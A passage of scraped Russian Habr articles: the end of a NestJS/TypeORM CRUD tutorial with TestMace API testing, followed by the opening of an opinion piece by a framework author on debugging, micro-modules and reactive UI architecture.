#lc_monetary = 'C' # locale for monetary formatting
#lc_numeric = 'C' # locale for number formatting
#lc_time = 'C' # locale for time formatting
# default configuration for text search
#default_text_search_config = 'pg_catalog.simple'
# - Shared Library Preloading -
#shared_preload_libraries = '' # (change requires restart)
#local_preload_libraries = ''
#session_preload_libraries = ''
#jit_provider = 'llvmjit' # JIT library to use
# - Other Defaults -
#dynamic_library_path = '$libdir'
#------------------------------------------------------------------------------
# LOCK MANAGEMENT
#------------------------------------------------------------------------------
#deadlock_timeout = 1s
#max_locks_per_transaction = 64 # min 10
# (change requires restart)
#max_pred_locks_per_transaction = 64 # min 10
# (change requires restart)
#max_pred_locks_per_relation = -2 # negative values mean
# (max_pred_locks_per_transaction
# / -max_pred_locks_per_relation) - 1
#max_pred_locks_per_page = 2 # min 0
#------------------------------------------------------------------------------
# VERSION AND PLATFORM COMPATIBILITY
#------------------------------------------------------------------------------
# - Previous PostgreSQL Versions -
#array_nulls = on
#backslash_quote = safe_encoding # on, off, or safe_encoding
#escape_string_warning = on
#lo_compat_privileges = off
#operator_precedence_warning = off
#quote_all_identifiers = off
#standard_conforming_strings = on
#synchronize_seqscans = on
# - Other Platforms and Clients -
#transform_null_equals = off
#------------------------------------------------------------------------------
# ERROR HANDLING
#------------------------------------------------------------------------------
#exit_on_error = off # terminate session on any error?
#restart_after_crash = on # reinitialize after backend crash?
#data_sync_retry = off # retry or panic on failure to fsync
# data?
# (change requires restart)
#------------------------------------------------------------------------------
# CONFIG FILE INCLUDES
#------------------------------------------------------------------------------
# These options allow settings to be loaded from files other than the
# default postgresql.conf.
#include_dir = 'conf.d' # include files ending in '.conf' from
# directory 'conf.d'
#include_if_exists = 'exists.conf' # include file only if it exists
#include = 'special.conf' # include file
#------------------------------------------------------------------------------
# CUSTOMIZED OPTIONS
#------------------------------------------------------------------------------
# Add settings for extensions here
```
На этом все, можно запустить контейнеры командой `docker-compose up -d`. Либо в отдельной консоли командой `docker-compose up`.
Итак, пакеты установили, базу запустили, осталось их друг с другом подружить. Для этого нужно в корень проекта добавить файл ormconfig.js следующего содержания:
**ormconfig.js**
```
const process = require('process');
const username = process.env.POSTGRES_USER || "postgres";
const password = process.env.POSTGRES_PASSWORD || "example";
module.exports = {
"type": "postgres",
"host": "localhost",
"port": 5432,
username,
password,
"database": "postgres",
"synchronize": true,
"dropSchema": false,
"logging": true,
"entities": [__dirname + "/src/**/*.entity.ts", __dirname + "/dist/**/*.entity.js"],
"migrations": ["migrations/**/*.ts"],
"subscribers": ["subscriber/**/*.ts", "dist/subscriber/**/.js"],
"cli": {
"entitiesDir": "src",
"migrationsDir": "migrations",
"subscribersDir": "subscriber"
}
}
```
Данная конфигурация будет использоваться для cli typeorm.
Остановимся на данной конфигурации подробнее. В строках 3 и 4 мы получаем имя пользователя и пароль из переменных окружения. Это удобно, когда у вас есть несколько окружений (dev, stage, prod, etc). По умолчанию имя пользователя postgres, пароль — example. В остальном конфиг тривиален, поэтому остановимся только на самых интересных параметрах:
* synchronize — указывает, должна ли схема базы данных автоматически создаваться при запуске приложения. Будьте внимательны с данной опцией и не используйте ее в production, в противном случае вы потеряете данные. Данная опция удобна при разработке и отладке приложения. Как альтернатива данной опции, вы можете использовать команду `schema:sync` из CLI TypeORM.
* dropSchema — сбрасывать схему каждый раз, когда устанавливается соединение. Также, как и предыдущую, данную опцию следует использовать только в процессе разработки и отладки приложения.
* entities — по каким путям искать описание моделей. Обратите внимание, что поддерживается поиск по маске.
* cli.entitiesDir — директория, куда по умолчанию должны складываться модели, созданные из CLI TypeORM.
Для того, чтобы мы могли использовать все возможности TypeORM в нашем Nest приложении, необходимо импортировать модуль `TypeOrmModule` в `AppModule`. Т.е. ваш `AppModule` будет выглядеть следующим образом:
**app.module.ts**
```
import { Module } from '@nestjs/common';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { TypeOrmModule } from '@nestjs/typeorm';
import * as process from "process";
const username = process.env.POSTGRES_USER || 'postgres';
const password = process.env.POSTGRES_PASSWORD || 'example';
@Module({
imports: [
TypeOrmModule.forRoot({
type: 'postgres',
host: 'localhost',
port: 5432,
username,
password,
database: 'postgres',
entities: [__dirname + '/**/*.entity{.ts,.js}'],
synchronize: true,
}),
],
controllers: [AppController],
providers: [AppService],
})
export class AppModule {}
```
Как вы успели заметить, в метод `forRoot` передается та же конфигурация для работы с базой, что и в файле ormconfig.ts
Остался финальный штрих — добавить несколько тасков для работы с TypeORM в package.json. Дело в том, что CLI написана на javascript и запускается в среде nodejs. Однако все наши модели и миграции будут написаны на typescript. Поэтому необходимо провести транспиляцию наших миграций и моделей до использования CLI. Для этого нам понадобится пакет ts-node:
`yarn add -D ts-node`
После этого добавим необходимые команды в package.json:
```
"typeorm": "ts-node -r tsconfig-paths/register ./node_modules/typeorm/cli.js",
"migration:generate": "yarn run typeorm migration:generate -n",
"migration:create": "yarn run typeorm migration:create -n",
"migration:run": "yarn run typeorm migration:run"
```
Первая команда, typeorm, добавляет обертку в виде ts-node для запуска cli TypeORM. Остальные команды — это удобные сокращения, которыми вы как разработчик будете пользоваться практически каждый день:
`migration:generate` — создание миграции на основе изменений в ваших моделях.
`migration:create` — создание пустой миграции.
`migration:run` — запуск миграций.
Ну теперь точно все, мы добавили необходимые пакеты, сконфигурировали приложение для работы с базой как с cli, так и с самого приложения а также запустили СУБД. Пришло время добавить логику в наше приложение.
Установка пакетов для создания CRUD
===================================
Используя только Nest можно создать API, позволяющий создавать, читать, обновлять и удалять сущность. Такое решение будет максимально гибким однако для некоторых случаев избыточным. К примеру, если вам нужно быстро создать прототип, то зачастую можно пожертвовать гибкостью ради скорости разработки. Многие фреймворки предоставляют функционал генерации CRUD по описанию модели данных определенной сущности. И Nest не исключение! Данную функциональность предоставляет пакет [@nestjsx/crud](https://www.npmjs.com/package/@nestjsx/crud). Возможности его весьма интересны:
* легкая установка и настройка;
* независимость от СУБД;
* мощный язык запросов с возможностью фильтрации, пагинации, сортировки, загрузки связей и вложенных сущностей, кеширование и т.д.;
* пакет для формирования запросов на front-end;
* легкое переопределение методов контроллера;
* небольшой конфиг;
* поддержка swagger документации.
Функциональность разбита на несколько пакетов:
* [@nestjsx/crud](https://www.npmjs.com/package/@nestjsx/crud) — базовый пакет, который предоставляет декоратор [Crud](https://habr.com/ru/users/crud/)() для генерации роутов, конфигурирования и валидации;
* [@nestjsx/crud-request](https://www.npmjs.com/package/@nestjsx/crud-request) — пакет, предоставляющий билдер/парсер запросов для использования на стороне frontend;
* [@nestjsx/crud-typeorm](https://www.npmjs.com/package/@nestjsx/crud-typeorm) — пакет для интеграции с TypeORM, предоставляющий базовый сервис TypeOrmCrudService с CRUD методами работы с сущностями в БД.
В данном руководстве нам понадобятся пакеты [nest](https://habr.com/ru/users/nest/)jsx/crud и [nest](https://habr.com/ru/users/nest/)jsx/crud-typeorm. Для начала, поставим их
```
yarn add @nestjsx/crud class-transformer class-validator
```
Пакеты [class-transformer](https://www.npmjs.com/package/class-transformer) и [class-validator](https://www.npmjs.com/package/class-validator) в данном приложении требуются для декларативного описания правил трансформирования экземпляров моделей и валидации входящих запросов соответственно. Данные пакеты от одного автора, поэтому интерфейсы схожи.
Непосредственная реализация CRUD
================================
В качестве примера модели мы возьмем список пользователей. У пользователей будут следующие поля: `id`, `username`, `displayName`, `email`. `id` — автоинкрементное поле, `email` и `username` — уникальные поля. Все просто! Осталось воплотить нашу задумку в виде Nest приложения.
Для начала необходимо создать модуль `users`, который будет отвечать за работу с пользователями. Воспользуемся cli от NestJS, и в корневой директории нашего проекта выполним команду `nest g module users`.
**nest g module users**
```
dmitrii@dmitrii-HP-ZBook-17-G3:~/projects/nest-rest git:(master*)$ nest g module users
CREATE /src/users/users.module.ts (82 bytes)
UPDATE /src/app.module.ts (312 bytes)
```
В данном модуле добавим папку entities, где у нас будут лежать модели данного модуля. В частности, добавим сюда файл user.entity.ts с описанием модели пользователей:
**user.entity.ts**
```
import { Column, Entity, PrimaryGeneratedColumn } from 'typeorm';
@Entity()
export class User {
@PrimaryGeneratedColumn()
id: string;
@Column({unique: true})
email: string;
@Column({unique: true})
username: string;
@Column({nullable: true})
displayName: string;
}
```
Чтобы данную модель "увидело" наше приложение, необходимо в модуль `UsersModule` импортировать `TypeOrmModule` следующего содержания:
**users.module.ts**
```
import { Module } from '@nestjs/common';
import { UsersController } from './controllers/users/users.controller';
import { UsersService } from './services/users/users.service';
import { TypeOrmModule } from '@nestjs/typeorm';
import { User } from './entities/user.entity';
@Module({
controllers: [UsersController],
providers: [UsersService],
imports: [
TypeOrmModule.forFeature([User])
]
})
export class UsersModule {}
```
Т.е здесь мы импортируем `TypeOrmModule`, где в качестве параметра метода `forFeature` указываем список моделей, относящихся к данному модулю.
Остается создать соответствующую сущность в базе данных. Для этих целей служит механизм миграций. Чтобы создать миграцию на основе изменений в моделях, необходимо выполнить команду `npm run migration:generate -- CreateUserTable`:
**Заголовок спойлера**
```
$ npm run migration:generate -- CreateUserTable
Migration /home/dmitrii/projects/nest-rest/migrations/1563346135367-CreateUserTable.ts has been generated successfully.
Done in 1.96s.
```
Нам не пришлось писать миграцию вручную, все произошло магическим образом. Это ли не чудо! Однако и это еще не все. Взглянем на созданный файл с миграцией:
**1563346135367-CreateUserTable.ts**
```
import {MigrationInterface, QueryRunner} from "typeorm";
export class CreateUserTable1563346816726 implements MigrationInterface {
public async up(queryRunner: QueryRunner): Promise {
await queryRunner.query(`CREATE TABLE "user" ("id" SERIAL NOT NULL, "email" character varying NOT NULL, "username" character varying NOT NULL, "displayName" character varying, CONSTRAINT "UQ\_e12875dfb3b1d92d7d7c5377e22" UNIQUE ("email"), CONSTRAINT "UQ\_78a916df40e02a9deb1c4b75edb" UNIQUE ("username"), CONSTRAINT "PK\_cace4a159ff9f2512dd42373760" PRIMARY KEY ("id"))`);
}
public async down(queryRunner: QueryRunner): Promise {
await queryRunner.query(`DROP TABLE "user"`);
}
}
```
Как можно заметить, был автоматически сгенерирован не только метод для запуска миграции, но и метод для ее отката. Фантастика!
Остается только накатить данную миграцию. Делается это следующей командой:
```
npm run migration:run.
```
Все, теперь изменения схемы перекочевали в базу данных.
Далее создадим сервис, который будет отвечать за работу с пользователями и отнаследуем его от `TypeOrmCrudService`. В параметр родительского конструктора необходимо передать репозиторий интересующей сущности, в нашем случае `User` репозиторий.
**users.service.ts**
```
import { Injectable } from '@nestjs/common';
import { TypeOrmCrudService } from '@nestjsx/crud-typeorm';
import { User } from '../../entities/user.entity';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm';
@Injectable()
export class UsersService extends TypeOrmCrudService{
constructor(@InjectRepository(User) usersRepository: Repository){
super(usersRepository);
}
}
```
Данный сервис нам понадобится в контроллере `users`. Для создания контроллера наберите в консоли `nest g controller users/controllers/users`
**nest g controller users/controllers/users**
```
dmitrii@dmitrii-HP-ZBook-17-G3:~/projects/nest-rest git:(master*)$ nest g controller users/controllers/users
CREATE /src/users/controllers/users/users.controller.spec.ts (486 bytes)
CREATE /src/users/controllers/users/users.controller.ts (99 bytes)
UPDATE /src/users/users.module.ts (188 bytes)
```
Откроем данный контроллер и отредактируем, чтобы добавить немного магии [nest](https://habr.com/ru/users/nest/)jsx/crud. На класс `UsersController` добавим декоратор следующего вида:
```
@Crud({
model: {
type: User
}
})
```
[Crud](https://habr.com/ru/users/crud/) — это декоратор, добавляющий в контроллер необходимые методы для работы с моделью. Тип модели указывается в поле `model.type` конфигурации декоратора.
Второй шаг — необходимо реализовать интерфейс `CrudController`. "В сборе" код контроллера выглядит следующим образом:
```
import { Controller } from '@nestjs/common';
import { Crud, CrudController } from '@nestjsx/crud';
import { User } from '../../entities/user.entity';
import { UsersService } from '../../services/users/users.service';
@Crud({
model: {
type: User
}
})
@Controller('users')
export class UsersController implements CrudController{
constructor(public service: UsersService){}
}
```
И это все! Теперь контроллер поддерживает весь набор операций с моделью! Не верите? Давайте попробуем наше приложение в деле!
Создание сценария запросов в TestMace
=====================================
Для тестирования нашего сервиса мы будем использовать IDE для работы с API [TestMace](https://client.testmace.com/). Почему TestMace? По сравнению с аналогичными продуктами, он имеет следующие преимущества:
* мощная работа с переменными. На данный момент существует несколько видов переменных, каждый из которых выполняет определенную роль: встроенные переменные, динамические переменные, переменные окружения. Каждая переменная принадлежит какому-либо узлу с поддержкой механизма наследования;
* легкое создание сценариев без программирования. Об этом речь пойдет ниже;
* человекочитаемый формат, позволяющий сохранять проект в системах контроля версий;
* автодополнение, подсветка синтаксиса, подсветка значений переменных;
* поддержка описания API с возможностью импорта из Swagger.
Давайте запустим наш сервер командой `npm start` и попробуем обратиться к списку пользователей. Список пользователей, судя по нашей конфигурации контроллера, можно получить по url localhost:3000/users. Сделаем запрос на данный url.
После запуска TestMace вы можете увидеть такой интерфейс:
Слева сверху находится дерево проектов с корневым узлом [Project](https://docs-ru.testmace.com/node-types/project). Давайте попробуем создать первый запрос на получение списка пользователей. Для этого создадим [RequestStep](https://docs-ru.testmace.com/node-types/requeststep) узел. Делается это в контекстном меню Project узла **Add node -> RequestStep**.
В поле URL вставьте localhost:3000/users и выполните запрос. Получим 200 код с пустым массивом в теле ответа. Оно и понятно, мы еще никого не добавляли.
Давайте создадим сценарий который будет включать в себя следующие шаги:
1. cоздание пользователя;
2. запрос по id только что созданного пользователя;
3. удаление по id пользователя, созданного на шаге 1.
Итак, поехали. Для удобства создадим узел типа [Folder](https://docs-ru.testmace.com/node-types/folder). По сути это просто папка, в которой сохраним весь сценарий. Для создания Folder узла необходимо в контекстном меню Project узла выбрать **Add node -> Folder**. Назовем узел *check-create*. Внутри узла *check-create* создадим наш первый запрос на создание пользователя. Назовем вновь созданный узел *create-user*. То есть на данный момент иерархия узлов будет выглядеть следующим образом:
Давайте перейдем к вкладке открытого *create-user* узла. Введем следующие параметры для запроса:
* Тип запроса — POST
* URL — localhost:3000/users
* Body — JSON со значением `{"email": "user@user.com", "displayName": "New user", "username": "user"}`
Выполним данный запрос. Наше приложение говорит, что запись создана.
Что ж, давайте проверим данный факт. Чтобы в последующих шагах оперировать с id созданного пользователя, данный параметр необходимо сохранить. Для этого отлично подходит механизм [динамических переменных](https://docs-ru.testmace.com/variables/user-variables/dynamic-variables). Давайте на нашем примере рассмотрим, как происходит работа с ними. Во вкладке parsed ответа у узла id в контекстном меню необходимо выбрать пункт **Assign to variable**. В диалоговом окне необходимо задать следующие параметры:
* **Node** — в каком из предков создавать динамическую переменную. Выберем *check-create*
* **Variable name** — название этой переменной. Назовем `userId`.
Вот как выглядит процесс создания динамической переменной:
Теперь при каждом выполнении данного запроса значение динамической переменной будет обновляться. А т.к. динамические переменные поддерживают механизм иерархического наследования, переменная `userId` будет доступна в потомках *check-create* узла любого уровня вложенности.
В следующем запросе данная переменная нам пригодится. А именно, мы запросим вновь созданного пользователя. В качестве потомка узла *check-create* мы создадим запрос *check-if exists* с параметром `url` равным `localhost:3000/users/${$dynamicVar.userId}`. Конструкция вида `${variable_name}` это получение значения переменной. Т.к. у нас динамическая переменная, то чтобы получить ее необходимо обратиться к объекту `$dynamicVar`, т.е полностью обращение к динамической переменной `userId` будет выглядеть следующим образом `${$dynamicVar.userId}`. Выполним запрос и убедимся, что данные запрашиваются корректно.
Остался последний штрих — сделать запрос на удаление. Он нам нужен не только для того, чтобы проверить работу удаления, но и, так сказать, подчистить за собой в базе, т.к. поля email и username уникальны. Итак, в узле check-create создадим запрос delete-user со следующими параметрами
* Тип запроса — DELETE
* URL — `localhost:3000/users/${$dynamicVar.userId}`
Запускаем. Ждем. Наслаждаемся результатом)
Ну и теперь мы можем в любой момент запустить полностью данный сценарий. Чтобы запустить сценарий необходимо выбрать в контекстном меню *check-create* узла пункт **Run**.
Узлы в сценарии выполнятся друг за другом
Данный сценарий вы можете сохранить к себе в проект, выполнив **File -> Save project**.
Заключение
==========
В формат данной статьи просто не смогли уместиться все фишки использованных инструментов. Что касается основного виновника — пакета [nest](https://habr.com/ru/users/nest/)jsx/crud — неосвещенными остались следующие темы:
* кастомная валидация и трансформация моделей;
* мощный язык запросов и удобное его использование на фронте;
* переопределение и добавление новых методов в crud-контроллеры;
* поддержка swagger;
* управление кэшированием.
Однако даже описанного в статье достаточно, чтобы понять, что даже такой энтерпрайсный фреймворк как NestJS имеет в загашнике инструменты для быстрого прототипирования приложений. А такая классная IDE как [TestMace](https://client.testmace.com) позволяет поддержать заданный темп.
Исходный код данной статьи, вместе с проектом [TestMace](https://client.testmace.com), доступен в репозитории <https://github.com/TestMace/nest-rest>. Для открытия проекта [TestMace](https://client.testmace.com) достаточно в приложении выполнить **File -> Open project**. | https://habr.com/ru/post/462585/ | null | ru | null |
# Идеальный UI фреймворк
Здравствуйте, меня зовут Дмитрий Карловский, и я… архитектор множества широко известных в узких кругах фреймворков. Меня никогда не устраивала необходимость из раза в раз решать одни и те же проблемы, поэтому я всегда стараюсь решать их в корне. Но прежде, чем их решить, нужно их обнаружить и осознать, что довольно сложно находясь в плену привычек, паттернов, стереотипов и "готовых" решений. Каждый раз сталкиваясь с проблемами в реализации задачи, я задумываюсь "что, блин, не так с этим инструментом?" и, конечно же, иду пилить свой инструмент: функцию, модуль, библиотеку, фреймворк, язык программирования, архитектуру ЭВМ… стоп, до последнего я ещё не докатился.
Речь сегодня пойдёт о JS-фреймворках. Нет, я не буду рассказывать про очередное готовое решение, не в том цель поста. Я лишь хочу посеять в ваших головах несколько простых идей, которые вы не встретите в документации ни к одному популярному фреймворку. А в конце мы постараемся сформировать видение идеальной архитектуры построения пользовательского интерфейса.
Длинный цикл отладки
====================
Типичный цикл отладки выглядит так:
* Редактирование кода.
* Запуск приложения.
* Проверка и обнаружение проблем.
* Исследование их причин.
И цикл этот повторяется для любой опечатки. Чем быстрее разработчик поймёт где и почему ошибся, тем быстрее он всё реализует. Поэтому обратную связь программист должен получать как можно быстрее, прямо в процессе написания кода. Тут помогают средства среды разработки, которые в реальном времени анализируют набранный код и проверяют, будет ли это всё работать. Как следствие, очень важно, чтобы среда разработки могла получить из кода как можно больше как можно более конкретной информации. Чтобы этого добиться, используемый язык должен быть статически типизирован настолько на сколько это возможно. JavaScript же типизирован лишь динамически, от чего IDE пытается угадать типы по косвенным признакам (типичные паттерны, JSDoc-и), но, как показывает практика, даже у наиболее продвинутых сред разработки это получается плохо.
Однако, существует минималистичное расширение JavaScript, добавляющее в него опциональную статическую типизацию — TypeScript. Его отлично понимает даже, какой-нибудь простой текстовый редактор типа GitHub Atom.
**На текущий момент TypeScript является наиболее оптимальным языком для разработки веб приложений. Разработчики AngularJS это уже поняли. Не опоздайте на поезд!**
Вторым эшелоном в деле ускорения отладочного цикла идут автоматизированные тесты, позволяющие быстро проверить работоспособность и обнаружить место неисправности. К сожалению, многие фреймворки для тестирования сконцентрированы лишь на первой фазе (проверка), но о второй (локализация неисправности) частенько даже и не задумываются, хотя она не менее важна. Например, популярный тестовый фреймворк QUnit оборачивает все тесты в try-catch, чтобы не останавливаться на первом же упавшем тесте, а в конце нарисовать красивый отчёт, который довольно бесполезен в деле поиска причин неисправности. Всё, что он может выдать — название теста и некликабельный стектрейс. Но есть костыль — вы можете добавить в ссылку [параметр ?notrycatch, который не всегда работает](http://jsfiddle.net/XjjEF/1/embedded/?notrycatch=true), и тогда тесты по идее должны свалиться на первой же ошибке, после чего в зависимости от режима отладки вы получите либо остановку отладчика в месте возникновения исключения, либо кликабельный стектрейс одного упавшего теста в консоли. Но идеальным было бы решение без костылей: в режиме останова на исключениях — останавливаться на каждом (а не только на первом), а в режиме логирования — логировать все падения в консоль с кликабельным стектрейсом. Это не так сложно, как может показаться — достаточно запускать тесты в отдельных обработчиках событий, и ни в коем случае не заворачивать их в try-catch.
В свете вышесказанного стоит подчеркнуть, что try-catch лучше не использовать не только в тестовом фреймворке, но и в любом другом, ведь перехватывая исключение вы теряете возможность остановиться отладчиком в месте его возникновения. Единственное разумное применение try-catch в JavaScript — это игнорирование ожидаемых исключений, как например, делает jQuery при старте, проверяя поддержку браузером некоторых фич. И именно поэтому такой костыль, как опция отладчика "останавливаться не только на не перехваченных исключениях" плохо помогает, так как даёт слишком много ложных срабатываний, которые приходится проматывать.
Последним гвоздём в гроб try-catch можно забить тот факт, что как минимум V8 не оптимизирует функции, содержащие эту конструкцию.
**Код нужно писать так, чтобы он в любой момент мог спокойно упасть, не разломав всё приложение.**
Именно из соображений удобства отладки в последней реализации [атомов](http://habrahabr.ru/post/235121/) нет ни одного try-catch, зато есть обработка события error, по которому происходит возобновление синхронизации атомов с учётом упавших.
Где что лежит?
==============
Как быстро перейти к объявлению сущности? Как быстро найти все места использования сущности? Как найти объявление сущности по имени? Эти детективные расследования снижают продуктивность разработчика и отвлекают от решаемой задачи. Статическая типизация, как было замечено выше, позволяет среде разработки понимать семантику кода: где какой тип объявлен, какой тип возвращает функция, какие типы я могу использовать в текущем контексте. Но не менее важно, располагать и именовать файлы по простым и универсальным правилам, потому как работа с файлами происходит не только и не столько средствами среды разработки. Например, группировать файлы имеет смысл не по типу, а по функциональности. Модули с родственными функциями — в более крупные модули. А коллекции разнообразных модулей одного автора — в пакеты. Именно эта логика заложена в архитектуре PMS (Package/Module\*/Source). В ней, иерархия директорий в точности повторяет иерархию пространств имён в коде. Благодаря этому по имени сущности всегда можно понять где она должна лежать. Это свойство используется pms-сборщиком для построения дерева зависимостей модулей: он анализирует исходники на предмет использования сторонних модулей, потом сериализует полученный граф так, чтобы к моменту исполнения зависимого модуля, все его зависимости тоже были исполнены. И для этого не требудется каких-то специальных объявлений в коде. Никаких AMD, LMD, CommonJS. Никаких import, require, include. Вы просто пишете код, как если бы необходимые модули уже были объявлены в том же файле, что и ваш, а обо всём остальном позаботится сборщик. Это прямой аналог автозагрузки классов из PHP, но работает с любыми модулями, содержащими исходники на самых разнообразных языках.
Благодаря тому, что зависимости между модулями отслеживаются автоматически, становится очень просто добавлять новые модули и переносить существующие. Для создания модуля достаточно создать директорию. Для добавления в него кода на любом языке достаточно просто создать файл. Но самое главное — в релиз уходят только те модули, которые реально используются, а не все подряд. Это позволяет строить код фреймворка и библиотек не из нескольких крупных модулей, 90% функций которых не используется, а из множества микроскопических модулей, не приводя ко километровым портянкам инклудов. Для сравнения: JavaScript код ToDoMVC [на Angular2](http://eigenmethod.github.io/todomvc/examples/angular2/) в общей сложности весит 1.6МБ (320КБ в сжатом виде), а [на $mol](http://eigenmethod.github.io/todomvc/examples/mol/) — 140КБ (22КБ в ужатопережатом виде). Сравните масштабы. Надо ли рассказывать какое приложение быстрее откроется на мобилке через EDGE? И не говорите, что сейчас 4G везде — в Москве даже EDGE во многих местах ловится с перебоями. А что нам предлагает современная индустрия? Подключать библиотеки целиком, а потом [хитрой магией](https://github.com/rollup/rollup) вырезать всё лишнее? Пожалейте мой CPU!
**Микромодульная архитектура позволяет создавать компактные и быстрые приложения.**
У многих сейчас наверняка уже поднялись руки выразить килобайты праведного гнева и возмущения моим непрофессионализмом в комментариях. Но позвольте отмотать время на несколько лет назад и напомнить об одной похожей ситуации. Ещё не так давно в тренде были XML технологии, все активно писали на XHTML, трепетали перед перед XSLT, а данными обменивались исключительно через XML. Если ты не ставил "/" в конце бестелесных тэгов или, упаси боже, не проходил html-валидацию, то на тебя смотрели как на профнепригодного. Но как-то больно много сложностей было с этим стеком технологий. Приходилось читать километровые спецификации, мириться с жёсткими ограничениями, вставлять кучу костылей, а светлое будущее всё не наступало — браузеры так и не довели поддержку XHTML до ума. Недовольство разработчиков росло, энтузиазм угасал, пока внезапно не пришло понимание, что с убогим JSON (по сравнению с мощным XML) работать проще и, главное, быстрее; что строгость и избыточность XML не даёт особого профита; что то, во что верили тысячи разработчиков, оказалось не самой лучшей идеей. Похожая ситуация была и с вендорными префиксами в CSS: сначала их копипастили руками, потом появились специальные утилиты, которые копипастят их автоматически, а теперь от них методично избавляются, так как они не решают никаких проблем, внося лишь излишнюю сложность. Но вернёмся к "модулям". Давайте напишем пару простых модулей на, например, RequireJS:
```
// my/worker.js
define( function( require ) {
var $ = require( 'jQuery' )
return function () {
$('#log').text( 'Hello from worker' )
return 1
}
} )
// my/app.js
define( function( require ) {
var jQuery = require( 'jQuery' )
var worker = require( 'my/worker' )
var count = 0
return function () {
$('#log').text( 'Hello from app' )
count += worker()
count += worker()
}
} )
```
Что не так с этим кодом:
1. Один и тот же модуль (который jQuery) в разных файлах имеет разные локальные имена. То есть программисту нужно постоянно держать в голове как jQuery называется в каждом модуле. Зачем нам возможность по разному именовать одну и ту же сущность? Чтобы всех запутать?
2. У нас нет простого доступа к переменной count. Мы не можете открыть консоль и просто набрать `app.count`, чтобы узнать какое там сейчас значение. Для этого необходимо изрядно пожонглировать отладчиком.
3. Каждый раз используя какую-либо сущность, нужно проконтролировать, чтобы она была "импортирована", а переставая её использовать надо удалить и эти "импорты". Существование специального инструмента для автоматической синхронизации списка импортов с кодом, подчёркивает их бессмысленность — это типовой, легко автоматизируемый инфраструктурный код, до которого программисту, вообще говоря, нет никакого дела.
4. Много лишнего кода, который зачастую просто генерируется по шаблону, так как писать руками одно и то же, никто не любит.
Как решить эти проблемы, не создавая новых? А очень просто, воспользуемся форматом jam.js:
```
// jq/jq.js
// my/worker.jam.js
var $my_worker = function () {
$jq('#log').text( 'Hello from worker' )
return 1
}
// my/app.jam.js
var $my_app = function () {
$jq('#log').text( 'Hello from app' )
$my_app.count += $my_worker()
$my_app.count += $my_worker()
}
$my_app.count = 0
```
Кода получилось существенно меньше и весь он по делу, при этом для работы с ним нам уже не обязательно нужна мощная среда разработки. Нам не приходится ломать голову в каком модуле как названа jQuery, ведь называется она везде одинаково — в соответствии с путём до неё в файловой системе. При этом мы всегда можем скопировать `$my_app.count` в консоль, чтобы посмотреть текущее состояние. Вот к чему стоит стремиться, а не к изоляции всего и вся.
**Перила помогают не упасть в пропасть, но не стоит ими себя окружать.**
А вот что действительно необходимо — это пространства имён, и структура директорий как нельзя лучше позволяет гарантировать отсутствие конфликтов в простанствах имён.
Раздувание кода
===============
Если раньше были споры стоит ли грузить jQuery на сотню килобайт, то сейчас уже никого не смущает подключение мегабайтного фреймворка. Некоторые даже гордятся тем, что написали миллионы строчек кода для реализации не слишком сложного приложения. И если бы проблема была только в скорости загрузки этих слонов, да скорости их инициализации. Но есть и куда более существенные вытекающие из этого проблемы. Чем больше кода, тем больше в нём ошибок. Более того, чем больше кода, тем больше процент этих ошибок. Так что если вы видите огромный зрелый фреймворк, то можете быть уверенными, что на отладку таких объёмов кода была потрачена уйма человекочасов. И ещё уйму предстоит потратить, как на существующие ещё не замеченные баги, так и на баги, привносимые новыми фичами и рефакторингами. И пусть вас не вводит в заблуждение "100% покрытия тестами" или "команда высококлассных специалистов с десятилетним опытом" — багов точно нет лишь в пустом файле. Сложность поддержки кода растёт нелинейно по мере его разрастания. Развитие фреймворка/библиотеки/приложения замедляется, пока совсем не вырождается в бесконечное латание дыр, без существенных улучшений, но требующее постоянное увеличение штата. Так что, если кто-то предложит вам написать дополнительный код по превращению ВерблюжьихИдентификаторовДиректив в идентификаторы-директив-с-дефисами, только потому, что в JS традиционно используется одна нотация, а в CSS — другая, с ней не совместимая, то плюньте ему в лицо и воспользуйтесь универсальной\_нотацией\_идентификаторов, не требующей ни дополнительного кода, ни среды разработки со сложными эвристическими алгоритмами поиска соответствий.
Большой объём кода далеко не всегда означает большое число возможностей. Зачастую это следствие использования слишком многословных инструментов, переусложнённой логики и банальной копипасты (в том числе и кодогенерации). Не стоит впадать в крайности, давая всем переменным однобуквенные имена, но стоит насторожиться, видя десятки тысяч строк рисующие простую формочку на экране. Вы можете не обращать на это внимание, полагая, что вам не потребуется в нём разбираться, ограничившись лишь чтением документации; полагая, что публичного API вам хватит для любых хотелок; полагая, что багов либо нет, либо они будут быстро исправляться мейнтейнерами. Но практика показывает, что рано или поздно вам придётся лезть в эту груду кода, если не вносить изменения, то как минимум исследовать его работу. А чем больше кода, тем сложнее в нём разобраться. Но ещё сложнее разобраться в коде, изобилующем множеством абстракций. Небольшое число, грамотных абстракций позволяет значительно упростить код, но мы получаем резко противоположный эффект, когда лепим их без разбора. Фабрики, прокси, адаптеры, реестры, сервисы, провайдеры, директивы, декораторы, примеси, типажи, компоненты, контейнеры, модули, приложения, стратегии, команды, роутеры, генераторы, итераторы, монады, контроллеры, модели, отображения, модели отображения, презентаторы, шаблоны, билдеры, виртуальный дом, грязные проверки, биндинги, события, стримы… Во всём этом многообразии абстракций теряются даже опытные разработчики. А попробуйте объяснить новичку, как на таком фреймворке сделать простой компонент так, чтобы не плакать потом кровавыми слезами, глядя на то, что у него получилось.
**Чем проще — тем лучше.**
Сложность разработки
====================
По мере роста приложения всё сложнее вносить в него изменения не разломав. Требуется учитывать всё большее число состояний одновременно, разбросанных по разным частям приложения. Множество неявных внутренних соглашений неизбежно начинают противоречить друг другу. Поэтому важно, чтобы за одно состояние отвечало лишь одно место в коде. Если вы меняете значение переменной из нескольких разных обработчиков событий, то рано или поздно вы получите неверное его значение, что будет выглядеть как глюк, на поиск причины которого придётся потратить не мало времени. Напротив, если вы будете выражать любое состояние как функцию от других состояний, то, даже если ваша переменная и примет неверное значение, вы всегда знаете где искать ошибку — в функции вычисления или получаемых ею данных.
Продолжая развивать тему, заметим, что такая функция не просто позволяет вычислить одно состояние на основе других, эта функция — задекларированная в коде зависимость между состояниями, инвариант, который должен быть поддержан в актуальном состоянии всё время жизни приложения. То есть, если изменяется состояние зависимости, то и все зависимые состояния должны быть обновлены автоматически, не полагаясь на внимательность и трудолюбивость разработчика.
**Реактивная архитектура значительно упрощает поддержку.**
